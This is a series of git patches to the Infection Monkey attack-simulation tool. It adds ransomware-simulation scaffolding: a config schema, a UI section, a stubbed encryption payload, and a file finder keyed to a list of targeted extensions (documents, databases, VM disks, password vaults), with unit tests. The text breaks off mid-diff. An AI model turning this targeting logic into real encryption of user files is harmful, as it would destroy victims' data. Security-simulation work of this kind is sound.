monkey/monkey_island/cc/server_utils/file_utils.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py index 7c4ab59fb18..e429eb46465 100644 --- a/monkey/monkey_island/cc/server_utils/file_utils.py +++ b/monkey/monkey_island/cc/server_utils/file_utils.py @@ -85,7 +85,12 @@ def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int: def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int: try: file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE - file_sharing = win32file.FILE_SHARE_READ | win32file.FILE_SHARE_WRITE + + # Enables other processes to open this file with read-only access. + # Attempts by other processes to open the file for writing while this + # process still holds it open will fail. + file_sharing = win32file.FILE_SHARE_READ + security_attributes = win32security.SECURITY_ATTRIBUTES() security_attributes.SECURITY_DESCRIPTOR = ( windows_permissions.get_security_descriptor_for_owner_only_perms() From 1ede7ebaecad22cef06cb26abf1ff1d504e00b67 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 09:14:29 +0300 Subject: [PATCH 0828/1360] Adds ransomware configuration options to monkey configuration --- monkey/infection_monkey/config.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index d00d5581457..5e2c3ec2147 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -193,7 +193,12 @@ def as_dict(self): ms08_067_exploit_attempts = 5 user_to_add = "Monkey_IUSER_SUPPORT" - # User and password dictionaries for exploits. + ########################### + # ransomware config + ########################### + + windows_dir = "" + linux_dir = "" def get_exploit_user_password_pairs(self): """ From 9ef4ce8bac9557ee4d32bc311e417c51f5319c9b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 09:47:11 +0300 Subject: [PATCH 0829/1360] Fixes formatting and naming for ransomware configuration options --- monkey/infection_monkey/config.py | 4 +-- .../cc/services/config_schema/ransomware.py | 27 ++++++++++++++++++- 2 files changed, 28 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5e2c3ec2147..5111bae48f9 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -197,8 +197,8 @@ def as_dict(self): # ransomware config ########################### - windows_dir = "" - linux_dir = "" + windows_dir_ransom = "" + linux_dir_ransom = "" def get_exploit_user_password_pairs(self): """ diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index 83619b0b417..b5d250f0056 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -1 +1,26 @@ -RANSOMWARE = {"linux_dir": "", "windows_dir": ""} +RANSOMWARE = { + "title": "Ransomware", + "type": "object", + "properties": { + "directories": { + "title": "Directories to encrypt", + "type": "object", + "properties": { + "linux_dir_ransom": { + "title": "Linux encryptable directory", + "type": "string", + "default": "", + "description": "Files in the specified directory will be encrypted " + "using bitflip to simulate ransomware.", + }, + "windows_dir_ransom": { + "title": "Windows encryptable directory", + "type": "string", + "default": "", + "description": "Files in the specified directory will be encrypted " + "using bitflip to simulate ransomware.", + }, + }, + } + }, +} From 00edb17b86b7bad3b8efb98a6d4793c587981f43 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 10:35:21 +0300 Subject: [PATCH 0830/1360] Adds ransomware page to the configuration UI --- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index c6e27f476cb..ed827401b3f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -30,7 +30,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentFormData = {}; this.initialConfig = {}; this.initialAttackConfig = {}; - this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'internal']; + this.sectionsOrder = ['attack', 'basic', 'basic_network', 'ransomware', 'monkey', 'internal']; this.state = { attackConfig: {}, From d7f4035884c33f1548960e546345ebb4a131d661 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 10:39:02 +0300 Subject: [PATCH 0831/1360] Adds ransomware entrypoint in monkey and logs values provided in ransomware configuration options --- monkey/infection_monkey/monkey.py | 3 +++ monkey/infection_monkey/ransomware/__init__.py | 10 ++++++++++ 2 files changed, 13 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/__init__.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 7e188b74d29..e032965701b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,6 +19,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach +from infection_monkey.ransomware import start_ransomware from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -232,6 +233,8 @@ def start(self): if not self._keep_running: break + start_ransomware() + if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep) diff --git a/monkey/infection_monkey/ransomware/__init__.py b/monkey/infection_monkey/ransomware/__init__.py new file mode 100644 index 00000000000..42bd69d2083 --- /dev/null +++ b/monkey/infection_monkey/ransomware/__init__.py @@ -0,0 +1,10 @@ +import logging + +from infection_monkey.config import WormConfiguration + +LOG = logging.getLogger(__name__) + + +def start_ransomware(): + LOG.info(f"Windows dir configured for encryption is {WormConfiguration.windows_dir_ransom}") + LOG.info(f"Linux dir configured for encryption is {WormConfiguration.linux_dir_ransom}") From 63901bcd264d8f3ef279e9bfc7bc4dba7eacb426 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 16:37:44 +0300 Subject: [PATCH 0832/1360] Refactor ransomware payload __init__.py into ransomware_payload.py with a stubbed ransomware payload class --- .../infection_monkey/ransomware/__init__.py | 10 ------- .../ransomware/ransomware_payload.py | 27 +++++++++++++++++++ 2 files changed, 27 insertions(+), 10 deletions(-) delete mode 100644 monkey/infection_monkey/ransomware/__init__.py create mode 100644 monkey/infection_monkey/ransomware/ransomware_payload.py diff --git a/monkey/infection_monkey/ransomware/__init__.py b/monkey/infection_monkey/ransomware/__init__.py deleted file mode 100644 index 42bd69d2083..00000000000 --- a/monkey/infection_monkey/ransomware/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -import logging - -from infection_monkey.config import WormConfiguration - -LOG = logging.getLogger(__name__) - - -def start_ransomware(): - LOG.info(f"Windows dir configured for encryption is {WormConfiguration.windows_dir_ransom}") - LOG.info(f"Linux dir configured for encryption is {WormConfiguration.linux_dir_ransom}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py new file mode 100644 index 00000000000..941055062fb --- /dev/null +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -0,0 +1,27 @@ +import logging + +LOG = logging.getLogger(__name__) + + +class RansomewarePayload: + def __init__(self, config: dict): + self.config = config + + def run_payload(self): + LOG.info( + f"Windows dir configured for encryption is " f"{self.config['windows_dir_ransom']}" + ) + LOG.info(f"Linux dir configured for encryption is " f"{self.config['linux_dir_ransom']}") + + file_list = self._find_files() + self._encrypt_files(file_list) + + def _find_files(self): + return [] + + def _encrypt_files(self, file_list): + for file in file_list: + self._encrypt_file(file) + + def _encrypt_file(self, file): + pass From 947a03c9a1eeb70bb0e926eff100d2defa30f28e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 22 Jun 2021 16:42:09 +0300 Subject: [PATCH 0833/1360] Refactor ransomware configuration option from flattened to a dict that encompasses any ransomware options --- monkey/infection_monkey/config.py | 3 +-- monkey/infection_monkey/monkey.py | 4 ++-- monkey/monkey_island/cc/services/config.py | 4 ++++ monkey/monkey_island/cc/services/config_schema/ransomware.py | 4 ++-- 4 files changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 5111bae48f9..f7ec13af67a 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -197,8 +197,7 @@ def as_dict(self): # ransomware config ########################### - windows_dir_ransom = "" - linux_dir_ransom = "" + ransomware = "" def get_exploit_user_password_pairs(self): """ diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e032965701b..abd0b3f18f2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -19,7 +19,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.network.tools import get_interface_to_target, is_running_on_island from infection_monkey.post_breach.post_breach_handler import PostBreach -from infection_monkey.ransomware import start_ransomware +from infection_monkey.ransomware.ransomware_payload import RansomewarePayload from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -233,7 +233,7 @@ def start(self): if not self._keep_running: break - start_ransomware() + RansomewarePayload(WormConfiguration.ransomware).run_payload() if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 7c7429756db..acb12d48a2d 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -106,6 +106,10 @@ def get_flat_config(is_initial_config=False, should_decrypt=True): config_json = ConfigService.get_config(is_initial_config, should_decrypt) flat_config_json = {} for i in config_json: + if i == "ransomware": + # Don't flatten the ransomware because ransomware payload expects a dictionary #1260 + flat_config_json[i] = config_json[i] + continue for j in config_json[i]: for k in config_json[i][j]: if isinstance(config_json[i][j][k], dict): diff --git a/monkey/monkey_island/cc/services/config_schema/ransomware.py b/monkey/monkey_island/cc/services/config_schema/ransomware.py index b5d250f0056..74b5d3d671a 100644 --- a/monkey/monkey_island/cc/services/config_schema/ransomware.py +++ b/monkey/monkey_island/cc/services/config_schema/ransomware.py @@ -6,14 +6,14 @@ "title": "Directories to encrypt", "type": "object", "properties": { - "linux_dir_ransom": { + "linux_dir": { "title": "Linux encryptable directory", "type": "string", "default": "", "description": "Files in the specified directory will be encrypted " "using bitflip to simulate ransomware.", }, - "windows_dir_ransom": { + "windows_dir": { "title": "Windows encryptable directory", "type": "string", "default": "", From 901485c9e4895f93177f6ac69b856c8be9a788ac Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Jun 2021 09:41:55 -0400 Subject: [PATCH 0834/1360] Disable codecov annotations in pull requests --- codecov.yml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/codecov.yml b/codecov.yml index 19004436757..dbb2d98f7f9 100644 --- a/codecov.yml +++ b/codecov.yml @@ -1,2 +1,5 @@ fixes: - "::monkey/" + +github_checks: + annotations: false From 5b64ea5151e715012fbd406fed41296e37fc002e Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 11:41:49 +0530 Subject: [PATCH 0835/1360] agent: ransomware: Iterate through files in directory and get list of files to encrypt --- monkey/infection_monkey/ransomware/utils.py | 94 +++++++++++++++++++++ vulture_allowlist.py | 1 + 2 files changed, 95 insertions(+) create mode 100644 monkey/infection_monkey/ransomware/utils.py diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py new file mode 100644 index 00000000000..d9cc7d5ce29 --- /dev/null +++ b/monkey/infection_monkey/ransomware/utils.py @@ -0,0 +1,94 @@ +import os +from typing import Iterator, List + +VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = { + ".3ds", + ".7z", + ".accdb", + ".ai", + ".asp", + ".aspx", + ".avhd", + ".avi", + ".back", + ".bak", + ".c", + ".cfg", + ".conf", + ".cpp", + ".cs", + ".ctl", + ".dbf", + ".disk", + ".djvu", + ".doc", + ".docx", + ".dwg", + ".eml", + ".fdb", + ".giff", + ".gz", + ".h", + ".hdd", + ".jpg", + ".jpeg", + ".kdbx", + ".mail", + ".mdb", + ".mpg", + ".mpeg", + ".msg", + ".nrg", + ".ora", + ".ost", + ".ova", + ".ovf", + ".pdf", + ".php", + ".pmf", + ".png", + ".ppt", + ".pptx", + ".pst", + ".pvi", + ".py", + ".pyc", + ".rar", + ".rtf", + ".sln", + ".sql", + ".tar", + ".tiff", + ".txt", + ".vbox", + ".vbs", + ".vcb", + ".vdi", + ".vfd", + ".vmc", + ".vmdk", + ".vmsd", + ".vmx", + ".vsdx", + ".vsv", + ".work", + ".xls", + ".xlsx", + ".xvd", + ".zip", +} + + +def get_files_to_encrypt(dir_path: str) -> List[str]: + all_files = get_all_files_in_directory(dir_path) + + files_to_encrypt = [] + for file in all_files: + if os.path.splitext(file)[1] in VALID_FILE_EXTENSIONS_FOR_ENCRYPTION: + files_to_encrypt.append(file) + + return files_to_encrypt + + +def get_all_files_in_directory(dir_path: str) -> Iterator: + return filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 2c937ee4f35..304ff6f12e6 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -171,6 +171,7 @@ MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:26) import_status # monkey_island\cc\resources\configuration_import.py:19 config_schema # monkey_island\cc\resources\configuration_import.py:25 +get_files_to_encrypt # monkey/infection_monkey/ransomware/utils.py:82 # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 3192355f5a61c1e7074e05efe88a01383423ba65 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 12:47:38 +0530 Subject: [PATCH 0836/1360] agent: ransomware: Return list instead of filter object when getting files in directory --- monkey/infection_monkey/ransomware/utils.py | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py index d9cc7d5ce29..2fd0052fb74 100644 --- a/monkey/infection_monkey/ransomware/utils.py +++ b/monkey/infection_monkey/ransomware/utils.py @@ -1,5 +1,5 @@ import os -from typing import Iterator, List +from typing import List VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = { ".3ds", @@ -90,5 +90,7 @@ def get_files_to_encrypt(dir_path: str) -> List[str]: return files_to_encrypt -def get_all_files_in_directory(dir_path: str) -> Iterator: - return filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) +def get_all_files_in_directory(dir_path: str) -> List: + return list( + filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) + ) From f8c1886977cbc5adbcc68ec30f3a92b3741e95f4 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 12:50:28 +0530 Subject: [PATCH 0837/1360] tests: Add unit tests for ransomware utils - get_files_to_encrypt(), get_all_files_in_directory() --- .../infection_monkey/ransomware/test_utils.py | 91 +++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py new file mode 100644 index 00000000000..579b7e2c99e --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py @@ -0,0 +1,91 @@ +import os + +import infection_monkey.ransomware.utils + +VALID_FILE_EXTENSION_1 = "file.3ds" +VALID_FILE_EXTENSION_2 = "file.zip" +INVALID_FILE_EXTENSION_1 = "file.jpe" +INVALID_FILE_EXTENSION_2 = "file.xyz" +SUBDIR_1 = "subdir1" +SUBDIR_2 = "subdir2" + + +def test_get_files_to_encrypt__no_files(monkeypatch): + all_files = [] + monkeypatch.setattr( + "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files + ) + + expected_return_value = [] + assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value + + +def test_get_files_to_encrypt__no_valid_files(monkeypatch): + all_files = [INVALID_FILE_EXTENSION_1, INVALID_FILE_EXTENSION_2] + monkeypatch.setattr( + "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files + ) + + expected_return_value = [] + assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value + + +def test_get_files_to_encrypt__valid_files(monkeypatch): + all_files = [ + VALID_FILE_EXTENSION_1, + INVALID_FILE_EXTENSION_1, + VALID_FILE_EXTENSION_2, + INVALID_FILE_EXTENSION_2, + ] + monkeypatch.setattr( + "infection_monkey.ransomware.utils.get_all_files_in_directory", lambda _: all_files + ) + + expected_return_value = [VALID_FILE_EXTENSION_1, VALID_FILE_EXTENSION_2] + assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value + + +def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): + subdir1 = os.path.join(tmpdir, SUBDIR_1) + subdir2 = os.path.join(tmpdir, SUBDIR_2) + subdirs = [subdir1, subdir2] + + for subdir in subdirs: + os.mkdir(subdir) + + all_items_in_dir = subdirs + monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + + expected_return_value = [] + assert ( + infection_monkey.ransomware.utils.get_all_files_in_directory(tmpdir) + == expected_return_value + ) + + +def test_get_all_files_in_directory__has_files(tmpdir, monkeypatch): + subdir1 = os.path.join(tmpdir, SUBDIR_1) + subdir2 = os.path.join(tmpdir, SUBDIR_2) + subdirs = [subdir1, subdir2] + + file1 = os.path.join(tmpdir, VALID_FILE_EXTENSION_1) + file2 = os.path.join(tmpdir, INVALID_FILE_EXTENSION_1) + file3 = os.path.join(tmpdir, VALID_FILE_EXTENSION_2) + file4 = os.path.join(tmpdir, INVALID_FILE_EXTENSION_2) + files = [file1, file2, file3, file4] + + for subdir in subdirs: + os.mkdir(subdir) + + for file in files: + with open(file, "w") as _: + pass + + all_items_in_dir = subdirs + files + monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) + + expected_return_value = files + assert ( + infection_monkey.ransomware.utils.get_all_files_in_directory(tmpdir) + == expected_return_value + ) From 8abb9d95cea438b202ba11766a4ecffe6c7960ba Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 18:06:14 +0530 Subject: [PATCH 0838/1360] agent: ransomware: Move VALID_FILE_EXTENSIONS_FOR_ENCRYPTION to separate file --- monkey/infection_monkey/ransomware/utils.py | 77 +------------------ .../ransomware/valid_file_extensions.py | 76 ++++++++++++++++++ 2 files changed, 77 insertions(+), 76 deletions(-) create mode 100644 monkey/infection_monkey/ransomware/valid_file_extensions.py diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py index 2fd0052fb74..8d4cbcc8a14 100644 --- a/monkey/infection_monkey/ransomware/utils.py +++ b/monkey/infection_monkey/ransomware/utils.py @@ -1,82 +1,7 @@ import os from typing import List -VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = { - ".3ds", - ".7z", - ".accdb", - ".ai", - ".asp", - ".aspx", - ".avhd", - ".avi", - ".back", - ".bak", - ".c", - ".cfg", - ".conf", - ".cpp", - ".cs", - ".ctl", - ".dbf", - ".disk", - ".djvu", - ".doc", - ".docx", - ".dwg", - ".eml", - ".fdb", - ".giff", - ".gz", - ".h", - ".hdd", - ".jpg", - ".jpeg", - ".kdbx", - ".mail", - ".mdb", - ".mpg", - ".mpeg", - ".msg", - ".nrg", - ".ora", - ".ost", - ".ova", - ".ovf", - ".pdf", - ".php", - ".pmf", - ".png", - ".ppt", - ".pptx", - ".pst", - ".pvi", - ".py", - ".pyc", - ".rar", - ".rtf", - ".sln", - ".sql", - ".tar", - ".tiff", - ".txt", - ".vbox", - ".vbs", - ".vcb", - ".vdi", - ".vfd", - ".vmc", - ".vmdk", - ".vmsd", - ".vmx", - ".vsdx", - ".vsv", - ".work", - ".xls", - ".xlsx", - ".xvd", - ".zip", -} +from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION def get_files_to_encrypt(dir_path: str) -> List[str]: diff --git a/monkey/infection_monkey/ransomware/valid_file_extensions.py b/monkey/infection_monkey/ransomware/valid_file_extensions.py new file mode 100644 index 00000000000..f67a6b76121 --- /dev/null +++ b/monkey/infection_monkey/ransomware/valid_file_extensions.py @@ -0,0 +1,76 @@ +VALID_FILE_EXTENSIONS_FOR_ENCRYPTION = { + ".3ds", + ".7z", + ".accdb", + ".ai", + ".asp", + ".aspx", + ".avhd", + ".avi", + ".back", + ".bak", + ".c", + ".cfg", + ".conf", + ".cpp", + ".cs", + ".ctl", + ".dbf", + ".disk", + ".djvu", + ".doc", + ".docx", + ".dwg", + ".eml", + ".fdb", + ".giff", + ".gz", + ".h", + ".hdd", + ".jpg", + ".jpeg", + ".kdbx", + ".mail", + ".mdb", + ".mpg", + ".mpeg", + ".msg", + ".nrg", + ".ora", + ".ost", + ".ova", + ".ovf", + ".pdf", + ".php", + ".pmf", + ".png", + ".ppt", + ".pptx", + ".pst", + ".pvi", + ".py", + ".pyc", + ".rar", + ".rtf", + ".sln", + ".sql", + ".tar", + ".tiff", + ".txt", + ".vbox", + ".vbs", + ".vcb", + ".vdi", + ".vfd", + ".vmc", + ".vmdk", + ".vmsd", + ".vmx", + ".vsdx", + ".vsv", + ".work", + ".xls", + ".xlsx", + ".xvd", + ".zip", +} From 48967a2e5b4ce1188845f86d7c2ac58a6d4c878a Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 19:03:54 +0530 Subject: [PATCH 0839/1360] tests: Modify unit tests for ransomware utils to test for a file like file.jpg.zip --- .../unit_tests/infection_monkey/ransomware/test_utils.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py index 579b7e2c99e..f3c0bea39b0 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py @@ -3,8 +3,8 @@ import infection_monkey.ransomware.utils VALID_FILE_EXTENSION_1 = "file.3ds" -VALID_FILE_EXTENSION_2 = "file.zip" -INVALID_FILE_EXTENSION_1 = "file.jpe" +VALID_FILE_EXTENSION_2 = "file.jpg.zip" +INVALID_FILE_EXTENSION_1 = "file.pqr" INVALID_FILE_EXTENSION_2 = "file.xyz" SUBDIR_1 = "subdir1" SUBDIR_2 = "subdir2" From c6da73ad798923998c5b25426a4595aac0c3dff0 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 19:42:50 +0530 Subject: [PATCH 0840/1360] agent: ransomware: Incorporate changes into stub --- .../infection_monkey/ransomware/ransomware_payload.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 941055062fb..779181992d7 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,5 +1,8 @@ import logging +from infection_monkey.ransomware.utils import get_files_to_encrypt +from infection_monkey.utils.environment import is_windows_os + LOG = logging.getLogger(__name__) @@ -17,7 +20,12 @@ def run_payload(self): self._encrypt_files(file_list) def _find_files(self): - return [] + dir_path = ( + self.config["windows_dir_ransom"] + if is_windows_os() + else self.config["linux_dir_ransom"] + ) + return get_files_to_encrypt(dir_path) def _encrypt_files(self, file_list): for file in file_list: From 5f714e0d9846f84474d1ba2011a0e8da4f9672c5 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 19:45:50 +0530 Subject: [PATCH 0841/1360] agent: Move get_all_files_in_directory() from ransomware/utils.py to utils/file_utils.py --- monkey/infection_monkey/ransomware/utils.py | 7 +------ monkey/infection_monkey/utils/file_utils.py | 8 ++++++++ 2 files changed, 9 insertions(+), 6 deletions(-) create mode 100644 monkey/infection_monkey/utils/file_utils.py diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py index 8d4cbcc8a14..50e49683c0f 100644 --- a/monkey/infection_monkey/ransomware/utils.py +++ b/monkey/infection_monkey/ransomware/utils.py @@ -2,6 +2,7 @@ from typing import List from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION +from infection_monkey.utils.file_utils import get_all_files_in_directory def get_files_to_encrypt(dir_path: str) -> List[str]: @@ -13,9 +14,3 @@ def get_files_to_encrypt(dir_path: str) -> List[str]: files_to_encrypt.append(file) return files_to_encrypt - - -def get_all_files_in_directory(dir_path: str) -> List: - return list( - filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) - ) diff --git a/monkey/infection_monkey/utils/file_utils.py b/monkey/infection_monkey/utils/file_utils.py new file mode 100644 index 00000000000..5562dd6ec20 --- /dev/null +++ b/monkey/infection_monkey/utils/file_utils.py @@ -0,0 +1,8 @@ +import os +from typing import List + + +def get_all_files_in_directory(dir_path: str) -> List: + return list( + filter(os.path.isfile, [os.path.join(dir_path, item) for item in os.listdir(dir_path)]) + ) From a2ebe3386f32314c6ce13a5803b0b8cbbc8f6d6d Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 19:57:56 +0530 Subject: [PATCH 0842/1360] agent: Rename utils/file_utils.py to utils/dir_utils.py --- monkey/infection_monkey/ransomware/utils.py | 2 +- monkey/infection_monkey/utils/{file_utils.py => dir_utils.py} | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/infection_monkey/utils/{file_utils.py => dir_utils.py} (100%) diff --git a/monkey/infection_monkey/ransomware/utils.py b/monkey/infection_monkey/ransomware/utils.py index 50e49683c0f..8ad1279c7b9 100644 --- a/monkey/infection_monkey/ransomware/utils.py +++ b/monkey/infection_monkey/ransomware/utils.py @@ -2,7 +2,7 @@ from typing import List from infection_monkey.ransomware.valid_file_extensions import VALID_FILE_EXTENSIONS_FOR_ENCRYPTION -from infection_monkey.utils.file_utils import get_all_files_in_directory +from infection_monkey.utils.dir_utils import get_all_files_in_directory def get_files_to_encrypt(dir_path: str) -> List[str]: diff --git a/monkey/infection_monkey/utils/file_utils.py b/monkey/infection_monkey/utils/dir_utils.py similarity index 100% rename from monkey/infection_monkey/utils/file_utils.py rename to monkey/infection_monkey/utils/dir_utils.py From efef40edf911573a3958e54a9620a580619293fe Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 22 Jun 2021 20:07:38 +0530 Subject: [PATCH 0843/1360] tests: Fix ransomware tests and move tests for get_all_files_in_directory from ransomware/test_utils.py to utils/test_dir_utils.py --- .../infection_monkey/ransomware/test_utils.py | 48 ------------------- .../infection_monkey/utils/test_dir_utils.py | 46 ++++++++++++++++++ 2 files changed, 46 insertions(+), 48 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/test_dir_utils.py diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py index f3c0bea39b0..37a7f059de1 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_utils.py @@ -1,5 +1,3 @@ -import os - import infection_monkey.ransomware.utils VALID_FILE_EXTENSION_1 = "file.3ds" @@ -43,49 +41,3 @@ def test_get_files_to_encrypt__valid_files(monkeypatch): expected_return_value = [VALID_FILE_EXTENSION_1, VALID_FILE_EXTENSION_2] assert infection_monkey.ransomware.utils.get_files_to_encrypt("") == expected_return_value - - -def test_get_all_files_in_directory__no_files(tmpdir, monkeypatch): - subdir1 = os.path.join(tmpdir, SUBDIR_1) - subdir2 = os.path.join(tmpdir, SUBDIR_2) - subdirs = [subdir1, subdir2] - - for subdir in subdirs: - os.mkdir(subdir) - - all_items_in_dir = subdirs - monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) - - expected_return_value = [] - assert ( - infection_monkey.ransomware.utils.get_all_files_in_directory(tmpdir) - == expected_return_value - ) - - -def test_get_all_files_in_directory__has_files(tmpdir, monkeypatch): - subdir1 = os.path.join(tmpdir, SUBDIR_1) - subdir2 = os.path.join(tmpdir, SUBDIR_2) - subdirs = [subdir1, subdir2] - - file1 = os.path.join(tmpdir, VALID_FILE_EXTENSION_1) - file2 = os.path.join(tmpdir, INVALID_FILE_EXTENSION_1) - file3 = os.path.join(tmpdir, VALID_FILE_EXTENSION_2) - file4 = os.path.join(tmpdir, INVALID_FILE_EXTENSION_2) - files = [file1, file2, file3, file4] - - for subdir in subdirs: - os.mkdir(subdir) - - for file in files: - with open(file, "w") as _: - pass - - all_items_in_dir = subdirs + files - monkeypatch.setattr("os.listdir", lambda _: all_items_in_dir) - - expected_return_value = files - assert ( - infection_monkey.ransomware.utils.get_all_files_in_directory(tmpdir) - == expected_return_value - ) diff --git 